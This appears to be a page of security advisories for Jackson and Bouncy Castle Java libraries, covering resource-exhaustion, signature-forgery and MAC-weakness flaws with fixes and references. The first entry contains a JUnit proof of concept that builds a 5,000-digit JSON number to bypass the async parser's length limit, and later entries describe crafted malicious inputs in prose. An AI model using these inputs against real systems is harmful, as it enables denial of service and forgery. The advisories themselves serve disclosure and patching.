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Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the NonBlockingUtf8JsonParserBase file. An attacker can exhaust system memory by streaming JSON input in small chunks to the asynchronous parser, causing unbounded accumulation of digit characters in memory due to missing validation of number length during chunked parsing. This can lead to denial of service by overwhelming the application's memory resources.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.8, 2.21.4 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _reportInvalidToken(int, String, String) method of UTF8DataInputJsonParser, which accumulates invalid token characters into a StringBuilder with no check against ErrorReportConfiguration.getMaxErrorTokenLength(), unlike UTF8StreamJsonParser, ReaderBasedJsonParser, and NonBlockingUtf8JsonParserBase, which enforce the 256-character default. An attacker can exhaust the JVM heap by submitting a sufficiently long malformed token, since the whole token is copied into the exception message, where a 20-million-character token produces a 20,000,109-character message against 367 characters on the bounded path. This requires the application to create its parser through JsonFactory.createParser(DataInput), and no configuration constrains the path, since maxDocumentLength does not apply to DataInput sources and maxStringLength does not cover it.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.11, 2.21.7, 2.22.3 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to delayed enforcement of maximum property name length in the ReaderBasedJsonParser process. An attacker can exhaust system memory and cause a crash by submitting a JSON object with an excessively long property name via character-based input sources such as String, Reader, or char[]. This is only exploitable if untrusted JSON is parsed from character-based sources rather than raw UTF-8 bytes.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.10, 2.21.6, 2.22.2 or higher.

References

• GitHub Advisory
• github.com
• github.com
• GitHub Commit
• GitHub PR

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CoreXMLDeserializers.Std._deserialize path in src/main/java/com/fasterxml/jackson/databind/ext/CoreXMLDeserializers.java. An attacker can consume excessive CPU by supplying a JSON string bound to a javax.xml.datatype.Duration or XMLGregorianCalendar field, causing DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) to parse arbitrarily long numeric components. This stalls the request-handling thread and can exhaust server CPU under default deserialization settings, denying service to other users.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.10, 2.21.6, 2.22.2 or higher.

References

• GitHub Commit
• GitHub PR
• Maintainer's Advisory

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the resolveForwardReference() method of CollectionDeserializer.CollectionReferringAccumulator, and in the corresponding map accumulators, which perform a linear search of the pending accumulator for every resolved object ID. An attacker can consume quadratic CPU and exhaust a request-time or worker-capacity budget by submitting JSON whose N unresolved object-ID references resolve in reverse order, costing roughly N*(N+1)/2 comparisons, measured at 2,003,000 for N=2,000. This requires the application to deserialize attacker-influenced JSON into an identity-enabled collection or map under @JsonIdentityInfo, though it needs no deep nesting or unusual JSON syntax.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.11, 2.21.7, 2.22.3 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue

Overview

org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Improper Validation of Integrity Check Value that leads to information exposure in the processPacket() method of CCMBlockCipher, with equivalent paths in KCCMBlockCipher and KGCMBlockCipher, which decrypt directly into the caller's output buffer and leave the unverified plaintext there when the authentication tag check fails. An attacker can recover AES-CTR(key, nonce) XOR ciphertext, effectively reducing CCM to unauthenticated CTR, by submitting forged ciphertexts and reading the output buffer on the failure path. This requires the attacker to submit ciphertexts and observe the caller's output buffer after a failed verification, for example through pooled-buffer reuse, logging, or memory inspection.

Remediation

There is no fixed version for org.bouncycastle:bcprov-jdk15on.

References

• GitHub Commit
• GitHub Commit
• GitHub Wiki

Overview

org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Improper Validation of Integrity Check Value in the processPacket() method of KCCMBlockCipher, which invokes processAAD() only when associated data is present, so with no AAD the G1 block (nonce, length, flag) is never mixed into the MAC and the tag reduces to a CBC-MAC over the ciphertext alone, independent of the nonce. An attacker with encryption-oracle access can assemble a valid ciphertext and tag for any never-queried plaintext and nonce pair by deriving the data and tag keystreams from two nonces. This affects only DSTU 7624 CCM encryption performed without any associated data, and requires chosen-plaintext access to an encryption oracle.

Remediation

There is no fixed version for org.bouncycastle:bcprov-jdk15on.

References

• GitHub Commit
• GitHub Commit
• GitHub Wiki

Overview

org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Improper Validation of Integrity Check Value enabling MAC forgery, in the IESEngine class when initialized through the 4-argument init without a block cipher, where the KDF is seeded only from the ECDH shared secret and split into a message-length K1 keystream and a K2 MAC key, so the MAC key's position depends on the message length. An attacker can forge arbitrary authenticated ciphertexts from a single known plaintext-ciphertext pair, since K1 is an XOR keystream that reveals the prefix-stable KDF output and lets the MAC keys for shorter messages be derived. This affects only stream-mode IESEngine initialized with no block cipher where the ephemeral value V is empty, and requires the attacker to hold one known plaintext-ciphertext pair.

Remediation

There is no fixed version for org.bouncycastle:bcprov-jdk15on.

References

• GitHub Commit
• GitHub Wiki

Overview

org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in the verifySignature() method of RSADigestSigner, whose legacy NULL-omitted DigestInfo path computes comparison offsets as length - hash.length - 2, so its two comparison loops jointly cover only bytes [0..sig.length-2) and leave the final two hash bytes unverified. An attacker can forge an RSA PKCS#1 signature by producing a message whose digest matches the signed digest in every byte except the last two, reducing the second-preimage work factor by 2^16. The flawed path is reachable by default only for signatures using NULL-less DigestInfo encoding, across BC-lightweight TLS rsa_pkcs1_*, PKIX/CMS, and OpenPGP RSA verification, and only when org.bouncycastle.pkcs1.strict_digestinfo is not set.

Workaround

This vulnerability can be avoided by setting the system property org.bouncycastle.pkcs1.strict_digestinfo, which enforces strict DigestInfo parsing and rejects the NULL-omitted encoding that reaches the flawed path.

Remediation

There is no fixed version for org.bouncycastle:bcprov-jdk15on.

References

• GitHub Commit
• GitHub Wiki

Overview

org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the IETFUtils.valueToString() method, reached through X500Name.toString(), equals(), and hashCode() via AbstractX500NameStyle, which escapes each special character with vBuf.insert(index, "\\") on the same buffer so a value of N escapable bytes costs roughly N²/2 character moves. An attacker can pin a CPU core for seconds to minutes, and saturate the server with a few parallel submissions, by supplying an X.509 certificate, CSR, CRL, or CMS structure containing a single ~60 KB RDN of commas or plus signs. Exploitation only requires a code path that logs, pretty-prints, compares, or hashes the resulting X500Name, including JCA X509Certificate.getSubjectX500Principal().toString() and BC certificate selectors and caches.

Remediation

Upgrade org.bouncycastle:bcprov-jdk15on to version 1.85 or higher.

References

• GitHub Commit
• GitHub Wiki

Overview

org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the toByteArray() method of DefiniteLengthInputStream, which allocates new byte[(int)_remaining] up front from the declared ASN.1 definite-length value before reading any content. An attacker can drive the JVM to OutOfMemoryError with a small input by supplying an ASN.1 structure whose definite-length header declares a near-heap-sized length that the content never satisfies. This requires the application to parse attacker-supplied ASN.1 or DER input, such as certificates, CMS structures, or keys, through Bouncy Castle.

Remediation

There is no fixed version for org.bouncycastle:bcprov-jdk15on.

References

• GitHub Commit
• GitHub Wiki

Overview

org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in HSSPublicKeyParameters.getInstance() and HSSSignature.getInstance(), which read the HSS level count L from an encoded public key without the RFC 8554 depth cap of 8 (enforced only during key generation) and then allocate arrays sized from that attacker-controlled value. An attacker can force an allocation of roughly 17 GB, driving the verifier to OutOfMemoryError, by supplying an HSS public key and signature that declare an oversized level count. This requires the verifier to process attacker-supplied HSS/LMS public keys and signatures, reachable via SubjectPublicKeyInfo, the JCA LMSKeyFactorySpi/LMSSignatureSpi, or CMS (RFC 9708) verification.

Remediation

There is no fixed version for org.bouncycastle:bcprov-jdk15on.

References

• GitHub Commit
• GitHub Commit
• GitHub Wiki

Overview

org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the force() method of LazyEncodedSequence, which parses the deferred SEQUENCE with a fresh ASN1InputStream whose nesting-depth counter is reset rather than inherited from the parent parse, and never calls createSubStream() or decrementDepth(). An attacker can crash the handling thread with a StackOverflowError by supplying a 40-50 KB DER-encoded CRL whose revokedCertificates field nests roughly 10,000 SEQUENCE structures. This requires the application to parse the CRL through X509CRLHolder or the BC CertificateFactory path, where revokedCertificates is held as an unevaluated lazy sequence until forced.

Remediation

There is no fixed version for org.bouncycastle:bcprov-jdk15on.

References

• GitHub Commit
• GitHub Wiki

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Incorrect Authorization in the deserialization process when handling properties annotated with both @JsonView and @JsonUnwrapped. An attacker can modify data that should be restricted to a higher-privileged view by supplying crafted JSON input.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.18.9, 2.21.5, 2.22.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Inadequate Encryption Strength in the BcKeyStoreSpi.engineLoad() method, which for legacy BKS keystore versions 0 and 1 passes hMac.getMacSize() (20 bytes for SHA-1) to generateDerivedMacParameters(), where PKCS12ParametersGenerator divides it by 8 and yields a 16-bit MAC key. An attacker with access to a .bks file can brute-force the 2^16 possible keys offline and produce a valid MAC over a modified store, for example injecting a rogue trusted CA, by setting the file's version integer to a legacy value that reaches the weak-key branch. This requires the attacker to supply or modify a .bks keystore that the application loads, and the org.bouncycastle.bks.enable_v1 property does not gate this path because the default BKS type reaches the weak derivation in engineLoad() regardless.

Remediation

There is no fixed version for org.bouncycastle:bcprov-jdk15on.

References

• GitHub Commit
• GitHub Wiki

Overview

org.bouncycastle:bcprov-jdk15on is a Java implementation of cryptographic algorithms.

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value in the BcKeyStoreSpi.engineLoad() method, which sizes buffers for the certificate chain array, encoded certificates, encoded key material, entry data, and PBE salts directly from readInt() length fields before the trailing HMAC integrity check runs. An attacker can exhaust memory and trigger an OutOfMemoryError in the process loading a keystore by supplying a BKS or UBER keystore file whose length fields are set to 0x7FFFFFFF, forcing allocation attempts of roughly 2 GB each. This requires the application to load an attacker-supplied or attacker-modified keystore of the BKS or UBER type.

Remediation

There is no fixed version for org.bouncycastle:bcprov-jdk15on.

References

• GitHub Commit
• GitHub Wiki